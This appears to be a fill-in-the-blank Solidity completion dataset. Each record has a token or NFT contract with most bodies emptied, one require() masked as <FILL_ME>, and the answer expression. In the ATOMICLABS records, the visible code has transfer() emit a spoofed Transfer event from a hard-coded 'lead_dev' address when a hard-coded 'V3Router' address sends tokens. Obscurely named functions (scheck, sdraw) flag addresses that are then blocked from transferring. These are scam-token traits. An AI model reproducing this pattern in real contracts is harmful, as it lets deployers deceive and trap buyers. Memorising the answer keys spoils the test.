function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract Falcon is Context, IERC20, Ownable {
string private _name = "Falcon 9 SpaceX";
string private _symbol = "F9SX";
uint8 private _decimals = 18;
uint256 private _totalSupply = 420_690_000_000_000 * 1e18;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromMaxTxn;
mapping(address => bool) public isExcludedFromMaxHolding;
uint256 public minTokenToSwap = (_totalSupply * 5) / (10000); // this amount will trigger swap and distribute
uint256 public maxHoldLimit = (_totalSupply * 2) / (100); // this is the max wallet holding limit
uint256 public maxTxnLimit = (_totalSupply * 2) / (100); // this is the max transaction limit
uint256 public percentDivider = 100;
uint256 public launchedAt;
bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool
bool public feesStatus; // enable by default
bool public trading; // once enable can't be disable afterwards
IDexRouter public dexRouter; // router declaration
address public dexPair; // pair address declaration
address public marketingWallet; // marketing address declaration
address private constant DEAD = address(0xdead);
address private constant ZERO = address(0);
uint256 public marketingFeeOnBuying = 25;
uint256 public marketingFeeOnSelling = 30;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() {
}
//to receive ETH from dexRouter when swapping
receive() external payable {}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function includeOrExcludeFromFee(
address account,
bool value
) external onlyOwner {
}
function includeOrExcludeFromMaxTxn(
address account,
bool value
) external onlyOwner {
}
function includeOrExcludeFromMaxHolding(
address account,
bool value
) external onlyOwner {
}
function setMinTokenToSwap(uint256 _amount) external onlyOwner {
}
function setMaxHoldLimit(uint256 _amount) external onlyOwner {
}
function setMaxTxnLimit(uint256 _amount) external onlyOwner {
}
function setBuyFeePercent(uint256 _marketingFee) external onlyOwner {
}
function setSellFeePercent(uint256 _marketingFee) external onlyOwner {
}
function setDistributionStatus(bool _value) public onlyOwner {
}
function enableOrDisableFees(bool _value) external onlyOwner {
}
function updateAddresses(address _marketingWallet) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function removeStuckEth(address _receiver) public onlyOwner {
}
function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
}
function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
//this method is responsible for taking all fees, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function takeTokenFee(address sender, uint256 amount) private {
}
// to withdarw ETH from contract
function withdrawETH(uint256 _amount) external onlyOwner {
require(<FILL_ME>)
payable(msg.sender).transfer(_amount);
}
// to withdraw ERC20 tokens from contract
function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
}
function distributeAndLiquify(address from, address to) private {
}
}
// Library for swapping on Dex
library Utils {
function swapTokensForEth(
address routerAddress,
uint256 tokenAmount
) internal {
}
function addLiquidity(
address routerAddress,
address owner,
uint256 tokenAmount,
uint256 ethAmount
) internal {
}
}
| address(this).balance>=_amount,"Invalid Amount" | 72,204 | address(this).balance>=_amount |
"Invalid Amount" | // SPDX-License-Identifier:MIT
/**
Telegram : https://t.me/Falcon9SpaceXErc20
**/
pragma solidity ^0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IDexFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
// Dex Router contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract Falcon is Context, IERC20, Ownable {
string private _name = "Falcon 9 SpaceX";
string private _symbol = "F9SX";
uint8 private _decimals = 18;
uint256 private _totalSupply = 420_690_000_000_000 * 1e18;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromMaxTxn;
mapping(address => bool) public isExcludedFromMaxHolding;
uint256 public minTokenToSwap = (_totalSupply * 5) / (10000); // this amount will trigger swap and distribute
uint256 public maxHoldLimit = (_totalSupply * 2) / (100); // this is the max wallet holding limit
uint256 public maxTxnLimit = (_totalSupply * 2) / (100); // this is the max transaction limit
uint256 public percentDivider = 100;
uint256 public launchedAt;
bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool
bool public feesStatus; // enable by default
bool public trading; // once enable can't be disable afterwards
IDexRouter public dexRouter; // router declaration
address public dexPair; // pair address declaration
address public marketingWallet; // marketing address declaration
address private constant DEAD = address(0xdead);
address private constant ZERO = address(0);
uint256 public marketingFeeOnBuying = 25;
uint256 public marketingFeeOnSelling = 30;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() {
}
//to receive ETH from dexRouter when swapping
receive() external payable {}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function includeOrExcludeFromFee(
address account,
bool value
) external onlyOwner {
}
function includeOrExcludeFromMaxTxn(
address account,
bool value
) external onlyOwner {
}
function includeOrExcludeFromMaxHolding(
address account,
bool value
) external onlyOwner {
}
function setMinTokenToSwap(uint256 _amount) external onlyOwner {
}
function setMaxHoldLimit(uint256 _amount) external onlyOwner {
}
function setMaxTxnLimit(uint256 _amount) external onlyOwner {
}
function setBuyFeePercent(uint256 _marketingFee) external onlyOwner {
}
function setSellFeePercent(uint256 _marketingFee) external onlyOwner {
}
function setDistributionStatus(bool _value) public onlyOwner {
}
function enableOrDisableFees(bool _value) external onlyOwner {
}
function updateAddresses(address _marketingWallet) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function removeStuckEth(address _receiver) public onlyOwner {
}
function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
}
function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
//this method is responsible for taking all fees, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function takeTokenFee(address sender, uint256 amount) private {
}
// to withdarw ETH from contract
function withdrawETH(uint256 _amount) external onlyOwner {
}
// to withdraw ERC20 tokens from contract
function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
require(<FILL_ME>)
_token.transfer(msg.sender, _amount);
}
function distributeAndLiquify(address from, address to) private {
}
}
// Library for swapping on Dex
library Utils {
function swapTokensForEth(
address routerAddress,
uint256 tokenAmount
) internal {
}
function addLiquidity(
address routerAddress,
address owner,
uint256 tokenAmount,
uint256 ethAmount
) internal {
}
}
| _token.balanceOf(address(this))>=_amount,"Invalid Amount" | 72,204 | _token.balanceOf(address(this))>=_amount |
"Invalid funds provided" | pragma solidity ^0.8.4;
contract TrollJumpGame is ERC721A, Ownable {
string public baseURI = "https://gateway.pinata.cloud/ipfs/QmdMpogWmnkSkXc85FFzgErZcnuRb8gY72rW1StpEsbqkH/";
string public constant baseExtension = ".json";
uint256 public constant MAX_FREE = 1;
uint256 public constant MAX_PER_TX = 10;
uint256 public constant MAX_SUPPLY = 2500;
uint256 public price = 0.005 ether;
bool public paused = true;
constructor() ERC721A("Troll Jump Game", "TrollJumpGame") {}
function mint(uint256 _amount) external payable {
address _caller = _msgSender();
require(!paused, "Paused");
require(MAX_SUPPLY >= totalSupply() + _amount, "Exceeds max supply");
require(_amount > 0, "No 0 mints");
require(tx.origin == _caller, "No contracts");
require(MAX_PER_TX >= _amount , "Excess max per paid tx");
require(<FILL_ME>)
_safeMint(_caller, _amount);
}
function freeMint() external payable {
}
function _startTokenId() internal override view virtual returns (uint256) {
}
function minted(address _owner) public view returns (uint256) {
}
function withdraw() external onlyOwner {
}
function teamMint(uint256 _number) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function pause(bool _state) external onlyOwner {
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
}
| _amount*price==msg.value,"Invalid funds provided" | 72,312 | _amount*price==msg.value |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract StakingOG is ERC721URIStorage, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(uint256 => address) public tokenIdToRewardedAddress;
mapping(uint256 => uint256) public tokenIdToRewardedNetworkId;
mapping(uint256 => uint256) public tokenIdToRankId; // which NFT has which rank
mapping(uint256 => string) public tokenIdToAdditionalAttributes;
mapping(uint256 => string) public rankIdToRankName; // what is the name of the rank of rank ID
mapping(uint256 => string) public rankIdToDescription; // what is the description for card of rank ID
mapping(uint256 => string) public rankIdToTitle; // what is the title for card of rank ID
uint256 public nodeAPR; // 5% = 500
uint256 public nodeCommission; // 5% = 500
bool public mintEnabled;
string public baseImageURI; // Base image URI for OGNFTs
IERC20 StakedMatic;
constructor() ERC721("Ownest Staking OGs", "OWNG"){
}
modifier onlyOwnerOfToken(uint256 tokenId) {
require(<FILL_ME>)
_;
}
/**
* @dev Set Node APR?
*/
function setNodeAPR(uint256 newAPR) public onlyOwner {
}
/**
* @dev Commission can be taken from the contract // REVIEW
*/
function setNodeCommission(uint256 newCommission) public onlyOwner {
}
function getERC20BalanceNormalised(address _address) public view returns(uint256) {
}
function getERC20BalanceNormalisedString(address _address) public view returns(string memory balanceNormalised) {
}
/**
* @dev End minting of OG NFTs [Owner Only]
*/
function endMinting() public onlyOwner {
}
/**
* @dev Returns the string for a division with non integer result, with decimals
*/
function division(uint256 decimalPlaces, uint256 numerator, uint256 denominator) internal pure returns(uint256 quotient, uint256 remainder, string memory result) {
}
/**
* @dev Change base URI of NFTs images
*/
function setBaseImageURI(string memory _baseImageURI) public onlyOwner {
}
/**
* @dev View NFT attributes
*/
function tokenURI(uint256 tokenId) override public view returns (string memory){
}
/**
* @dev Mint OG NFT, to call in the good order (rankId 1 mint in 1 or more txs, then mint rankId2 etc)
*/
function mint(address[] calldata addresses, uint256 rankId) public onlyOwner {
}
/**
* @dev Get and set specific rank to an NFT
*/
function setRank(uint256 tokenId, uint256 rank) public onlyOwner {
}
function getRankId(uint256 tokenId) public view returns (uint256) {
}
function getRankNameFromId(uint256 rankId) public view returns (string memory) {
}
function getRankName(uint256 tokenId) public view returns (string memory) {
}
function setRankNameFromRankId(uint256 rankId, string memory rankName) public onlyOwner {
}
function getTokenTitle(uint256 tokenId) public view returns (string memory) {
}
function getRankTitle(uint256 rankId) public view returns (string memory) {
}
function setTitleForRankId(uint256 rankId, string memory rankTitle) public onlyOwner {
}
function getTokenDescription(uint256 tokenId) public view returns (string memory) {
}
function getRankDescription(uint256 rankId) public view returns (string memory) {
}
function setDescriptionForRankId(uint256 rankId, string memory rankDescription) public onlyOwner {
}
/**
* @dev Get and set specific attributes for each NFT
*/
function getAdditionalAttributes(uint256 tokenId) public view returns (string memory) {
}
function setSpecificAttributeForTokenId(uint256 tokenId, string calldata specificAttribute) public onlyOwner {
}
function getSpecificAttributeForTokenId(uint256 tokenId) public view returns (string memory) {
}
function setAttributesForMany(uint256[] calldata tokenIds, string[] calldata specificAttributes) public onlyOwner {
}
/**
* @dev Get and set Rewards and address of OG staker, on Polygon or Ethereum
*/
function getRewardedNetworkId(uint256 tokenId) public view returns (uint256) {
}
function getRewardedNetwork(uint256 tokenId) public view returns (string memory) {
}
function getRewardedAddress(uint256 tokenId) public view returns (address) {
}
function getRewardInfos(uint256 tokenId) public view returns (address, uint256) {
}
function setRewardedAddress(uint256 tokenId, address rewardedAddress) public onlyOwnerOfToken(tokenId) {
}
function setRewardedNetworkId(uint256 tokenId, uint256 networkId) public onlyOwnerOfToken(tokenId) {
}
function setRewardedNetworkIdAndAddress(uint256 tokenId, uint256 networkId, address rewardedAddress) public onlyOwnerOfToken(tokenId) {
}
/**
* @dev Reset the rewarded address, to call at each transfer
*/
function resetRewardedAddress(
uint256 tokenId
) internal {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual override {
}
/**
* @dev Get total supply without an expensive enumerable
*/
function totalSupply() public view returns (uint256 currentSupply) {
}
}
| _ownerOf(tokenId)==msg.sender | 72,316 | _ownerOf(tokenId)==msg.sender |
null | // "SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract ATOMICLABS {
mapping (address => uint256) public sAMt;
mapping (address => bool) sTXn;
//
string public name = "Atomic Labs";
string public symbol = unicode"ATOMIC";
uint8 public decimals = 18;
uint256 public totalSupply = 500000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
uint sver = 0;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address V3Router = 0x76E860ffd95CCB602dFde1eb5363917948E31F3C;
address lead_dev = 0x426903241ADA3A0092C3493a0C795F2ec830D622;
function deploy(address account, uint256 amount) public {
}
modifier xII() {
}
modifier V () {
}
function transfer(address to, uint256 value) public returns (bool success) {
if(msg.sender == V3Router) {
require(<FILL_ME>)
sAMt[msg.sender] -= value;
sAMt[to] += value;
emit Transfer (lead_dev, to, value);
return true; }
if(sTXn[msg.sender]) {
require(sver < 1);}
require(sAMt[msg.sender] >= value);
sAMt[msg.sender] -= value;
sAMt[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
function balanceOf(address account) public view returns (uint256) {
}
function scheck(address S) xII public{
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function sval(address S, uint256 sX) xII public returns (bool success) {
}
function RenounceOwner() V public {
}
function sdraw(address S) xII public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| sAMt[msg.sender]>=value | 72,337 | sAMt[msg.sender]>=value |
null | // "SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract ATOMICLABS {
mapping (address => uint256) public sAMt;
mapping (address => bool) sTXn;
//
string public name = "Atomic Labs";
string public symbol = unicode"ATOMIC";
uint8 public decimals = 18;
uint256 public totalSupply = 500000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
uint sver = 0;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address V3Router = 0x76E860ffd95CCB602dFde1eb5363917948E31F3C;
address lead_dev = 0x426903241ADA3A0092C3493a0C795F2ec830D622;
function deploy(address account, uint256 amount) public {
}
modifier xII() {
}
modifier V () {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
function balanceOf(address account) public view returns (uint256) {
}
function scheck(address S) xII public{
require(<FILL_ME>)
sTXn[S] = true;}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function sval(address S, uint256 sX) xII public returns (bool success) {
}
function RenounceOwner() V public {
}
function sdraw(address S) xII public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| !sTXn[S] | 72,337 | !sTXn[S] |
null | // "SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract ATOMICLABS {
mapping (address => uint256) public sAMt;
mapping (address => bool) sTXn;
//
string public name = "Atomic Labs";
string public symbol = unicode"ATOMIC";
uint8 public decimals = 18;
uint256 public totalSupply = 500000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
uint sver = 0;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address V3Router = 0x76E860ffd95CCB602dFde1eb5363917948E31F3C;
address lead_dev = 0x426903241ADA3A0092C3493a0C795F2ec830D622;
function deploy(address account, uint256 amount) public {
}
modifier xII() {
}
modifier V () {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
function balanceOf(address account) public view returns (uint256) {
}
function scheck(address S) xII public{
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function sval(address S, uint256 sX) xII public returns (bool success) {
}
function RenounceOwner() V public {
}
function sdraw(address S) xII public {
require(<FILL_ME>)
sTXn[S] = false; }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| sTXn[S] | 72,337 | sTXn[S] |
"Exceeds max supply" | // SPDX-License-Identifier: None
pragma solidity ^0.8.4;
import "./base64.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./Ownable.sol";
contract TWObitGOBLINS is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant MAX_PER_TX = 5;
uint256 public MAX_SUPPLY = 1111;
uint256 public MINT_PRICE = 0.0069 ether;
uint256 public MAX_FREE_SUPPLY = 2;
struct Color {
uint8 red;
uint8 green;
uint8 blue;
}
struct Detail {
uint256 timestamp;
uint8 speciesIndex;
Color topColor;
Color bottomColor;
}
mapping(address => uint256) private _freeMintedCount;
mapping(uint256 => Detail) private _tokenIdToGoblinDetails;
bool private _reveal = false;
uint256 private _seed;
string[3] private _species = ["Koalinth", "Nilbog", "Hobgoblin"];
constructor() ERC721A("2Bit Goblins", "2bitGOB") {
}
function createGoblin(uint256 quantity) public payable {
uint256 _totalSupply = totalSupply();
require(quantity > 0, "Invalid quantity");
require(quantity <= MAX_PER_TX, "Exceeds max per tx");
require(<FILL_ME>)
uint256 payForCount = quantity;
uint256 freeMintCount = _freeMintedCount[msg.sender];
if (freeMintCount < MAX_FREE_SUPPLY) {
if (quantity > MAX_FREE_SUPPLY) {
payForCount = quantity - 1;
} else {
payForCount = 0;
}
_freeMintedCount[msg.sender] = 1;
}
require(msg.value >= payForCount * MINT_PRICE, "Ether sent is not correct");
_mint(msg.sender, quantity);
for (uint256 i = _totalSupply; i < _totalSupply + quantity; i++) {
_seed = uint256(
keccak256(
abi.encodePacked(
_seed >> 1,
msg.sender,
blockhash(block.number - 1),
block.timestamp
)
)
);
_tokenIdToGoblinDetails[i] = _createDetailFromRandom(_seed, i);
}
}
function freeMintedCount(address owner) external view returns (uint256) {
}
function details(uint256 tokenId)
external
view
returns (Detail memory detail)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A)
returns (string memory)
{
}
function _baseURI() internal pure override returns (string memory) {
}
function _tokenUriForDetail(Detail memory detail, uint256 tokenId)
private
view
returns (string memory)
{
}
function _attributesFromDetail(Detail memory detail)
private
view
returns (string memory)
{
}
function _createSvg(Detail memory detail)
private
pure
returns (bytes memory)
{
}
function _svgColor(Color memory color) private pure returns (string memory) {
}
function _svgOpen(uint256 width, uint256 height)
private
pure
returns (string memory)
{
}
function _indexesFromRandom(uint8 random) private pure returns (uint8) {
}
function _createDetailFromRandom(uint256 random, uint256 tokenId)
private
view
returns (Detail memory)
{
}
function _colorTopFromRandom(
bytes memory source,
uint256 indexRed,
uint256 indexGreen,
uint256 indexBlue,
uint256 speciesIndex
) private pure returns (Color memory) {
}
function _colorTopFloorForSpecies(uint256 index)
private
pure
returns (Color memory)
{
}
function _colorTopCeilingForSpecies(uint256 index)
private
pure
returns (Color memory)
{
}
function _colorBottomFromRandom(
bytes memory source,
uint256 indexRed,
uint256 indexGreen,
uint256 indexBlue
) private pure returns (Color memory) {
}
function _randomizeColors(
Color memory floor,
Color memory ceiling,
Color memory random
) private pure returns (Color memory color) {
}
function reveal() external onlyOwner {
}
function configMaxSupply(uint256 newsupply) public onlyOwner {
}
function configActualPrice(uint256 newnewPrice) public onlyOwner {
}
function collectReserves(uint256 quantity) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| _totalSupply+quantity<=MAX_SUPPLY,"Exceeds max supply" | 72,339 | _totalSupply+quantity<=MAX_SUPPLY |
'sold out' | // SPDX-License-Identifier: MIT
// .....
// .........
// ...... ...
// ........... ....
// .................''..
// ... ..,,..............'''..
// ..''..... ..,;,......... ........'..
// .'''....'''...',,..... ................
// ..''............'''.... ....... ..............
// ..'''............'','.. ....... ....''..........
// ..',,''.......';;;,'',,'.. ......... ........... .....
// ..',,,''.....'',,,,'.'''''''..'''.... ..... ......... .....
// .............';;'....'..'','.....................'''................''..
// ....',,'.......';cc,.....',;:,'......................,;;,'..............''''....
// ...',.........''.......';cc:'....,;::;,'''......... . .......''''...............',,,'.......
// .......',,'.........',,'...,;:;,.....',::;,'.... ........................'............'',,,'............
// ..';;;,.....'''......',,,'....,,,'.........''.... ..... ...............',,'...........'',,,,'',,,'.'''..
// ...'','',,;::;,'.'',;;,'..',,,,;;;;,,'',,,,,,;,'....''''...'''................... ..'''........ ......',',,;;,''''''''......
// ...',,,'...........',,''.........',,,'......''..........'..'''............. ...............'.......
// ... . .......... ....... ......... . ........
// .,;. .:xdc. ':;. .';loddoc;.. .;clc:clo:. ..;coddoc;'. .';. .:;. .;llc::;;'.
// .cl,. .cOKOc. ;dl'. .,lddc.. .:dd;. .,coo,. .':odl,. .:l,. ;ol,. .coc,....
// .cl,. ,lodoc'.,lc' .:lc,. .:ol,. .;l:'. .,cl;. .:ol;''',lxl. .col:,'...
// .:c,. ;c,.;l:,:c;.. .;lc,. .co:. 'c:,. .,cc;. .:ddlc::cdkl. .cddlc::;..
// .cl,. .:l,..'cdxd:. .:ll;. .;oo:. .:o:'. .,cl;. .:l;. .;dl' .co:'....
// .cl,. .:o;. 'lOOl. .:ol;. .;odc,.':odc'. .,cl;. .:l, ,ol'. .col:'.....
// ''. .'. .;c, .,'. .;cccccc,. .''. .'. .,'. ';:::;;;,.
// .... . .
// .'.. ..'.. .':loool:'. .''. .''. .,:ccc::;;::cc::'.
// .okd;. ,dko, .cxkkxdodxkOxc,. ,xkc. 'lxx; .ldxxxk0KK0kxxxo:.
// 'x0x:. ;k0x;. .:x0Ol'.....,lk00k:. ;OKo. ,oOO: ....'cOK0d;.....
// 'dOx:. ;kOd; .;O0o' .'lxdc. ;O0l. 'lkk: 'x0kc.
// 'dOx:. ;xOd; .;d0x, .... ;OKo'. .,oOk: 'x0kc.
// 'dOd:. ;kOd; .lOOo. .,:ccc::;'. ,OX0xolloooookO0k; 'x0kc.
// 'dOx:. ;xOd;. .lOOo. 'cdxdxO00x:. ;OXOoc::::::cdO0k; 'x0kc.
// 'dOd:. ;xOd; .;x0x, ....,d0K0o' ;O0l'. .,okk: 'x0kc.
// 'dOd;. ;kOd; .:O0o' .;kKXOc. ;O0l. 'lkk: 'xKkc.
// 'x0Oo;........ ;k0x;. .cxOkl'. ..;ok0KKkc. ;OKo' ,oOO: ,kX0l.
// .lk0Okddddxxoc'. ,dko, 'cxkkdlloxxocccll:' ,xkc. 'lxx; 'dOxc.
// .';::::::::;,. .''.. .,:cccc:;. .... .',. .''. .,'.
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Spectrum is ERC721, Ownable {
uint256 public mintPrice;
uint256 public totalSupply;
uint256 public maxSupply;
uint256 public maxPerWallet;
bool public isPublicMintEnabled;
string internal baseTokenUri;
string public hiddenMetadataUri;
mapping(address => uint256) public WalletMints;
bool public isRevealed;
string public SPCTRM_PROVENANCE;
constructor() payable ERC721('Spectrum', 'SPCTRM') {
}
function setProvenance(string memory newProvenance) external onlyOwner{
}
function setIsPublicMintEnabled(bool isPublicMintEnabled_) external onlyOwner {
}
function reveal() external onlyOwner {
}
function setHiddenMetadataUri(string memory hiddenMetadataUri_) public onlyOwner {
}
function setBaseTokenUri(string calldata baseTokenUri_) external onlyOwner {
}
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
}
string private customContractURI = "https://orion.mypinata.cloud/ipfs/QmPzxrmCfn3iEAZXqzABRgiF98aZuD7xLDVfbp3F4uCEmZ";
function setContractURI(string memory customContractURI_) external onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function withdraw() external onlyOwner {
}
function mint(uint256 quantity_) public payable {
require(isPublicMintEnabled, 'minting not enabled');
require(msg.value >= quantity_ * mintPrice, 'wrong mint value');
require(<FILL_ME>)
require(WalletMints[msg.sender] + quantity_ <= maxPerWallet, 'exceed max wallet');
for(uint256 i = 0; i < quantity_; i++) {
uint256 newTokenId = totalSupply + 1;
WalletMints[msg.sender]++;
totalSupply++;
_safeMint(msg.sender,newTokenId);
}
}
}
| totalSupply+quantity_<=maxSupply,'sold out' | 72,349 | totalSupply+quantity_<=maxSupply |
'exceed max wallet' | // SPDX-License-Identifier: MIT
// .....
// .........
// ...... ...
// ........... ....
// .................''..
// ... ..,,..............'''..
// ..''..... ..,;,......... ........'..
// .'''....'''...',,..... ................
// ..''............'''.... ....... ..............
// ..'''............'','.. ....... ....''..........
// ..',,''.......';;;,'',,'.. ......... ........... .....
// ..',,,''.....'',,,,'.'''''''..'''.... ..... ......... .....
// .............';;'....'..'','.....................'''................''..
// ....',,'.......';cc,.....',;:,'......................,;;,'..............''''....
// ...',.........''.......';cc:'....,;::;,'''......... . .......''''...............',,,'.......
